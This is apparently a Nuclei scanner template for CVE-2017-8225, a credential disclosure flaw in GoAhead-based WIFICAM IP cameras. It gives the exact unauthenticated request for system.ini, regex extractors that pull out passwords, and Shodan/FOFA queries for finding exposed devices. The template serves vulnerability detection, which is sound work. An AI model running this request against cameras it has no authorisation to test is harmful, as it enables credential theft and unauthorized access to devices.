GoAhead Camera - Credential Disclosure

id: CVE-2017-8225

info:
  name: GoAhead Camera - Credential Disclosure
  author: K3ysTr0K3R
  severity: critical
  description: |
    GoAhead camera credential disclosure vulnerability in system.ini. The vulnerability affects certain Wireless IP Camera (P2P) WIFICAM devices and allows unauthenticated remote attackers to access the system.ini configuration file through a crafted HTTP request. The exposed configuration may contain sensitive authentication credentials, including usernames and passwords.
  impact: |
    Successful exploitation can disclose camera authentication credentials to an unauthenticated remote attacker, potentially allowing unauthorized access to the affected device.
  remediation: |
    Update affected camera firmware to the latest available version. Where firmware updates are unavailable, restrict access to the camera's HTTP interface and avoid exposing the device directly to untrusted networks.
  reference:
    - https://github.com/K3ysTr0K3R/CVE-2017-8225-EXPLOIT
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8225
  classification:
    cve-id: CVE-2017-8225
    epss-score: 0.18005
    epss-percentile: 0.96975
    cwe-id: CWE-200
    cvss-score: 9.8
  metadata:
    verified: true
    max-request: 1
    shodan-query: "GoAhead-Webs"
    fofa-query: "GoAhead-Webs"
  tags: cve,cve2017,goahead,credentials,camera,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/system.ini?loginuse&loginpas"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "<html"
        negative: true

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: regex
        part: body
        regex:
          - '[a-zA-Z0-9]{0,10}(admin|user|guest|root|operator|supervisor|tech|service|manager|default|demo|666666|888888)[a-zA-Z0-9]{0,10}'

    extractors:
      - type: regex
        part: body
        name: password
        group: 1
        regex:
          - '(?:[a-zA-Z0-9]{0,10}(?:admin|user|guest|root|operator|supervisor|tech|service|manager|default|demo|666666|888888)[a-zA-Z0-9]{0,10}).{20}([ -~]{1,31})'
# digest: 4b0a00483046022100fe9cf84b7e17fd1dbc7b5e7ea22248282085802c85b90ddf474944b44c960916022100ba5c25206184a6141dc04cbe7c3f059fdc47fe98c142ec343eeb096a392e58d0:922c64590222798bb761d5b6d8e72950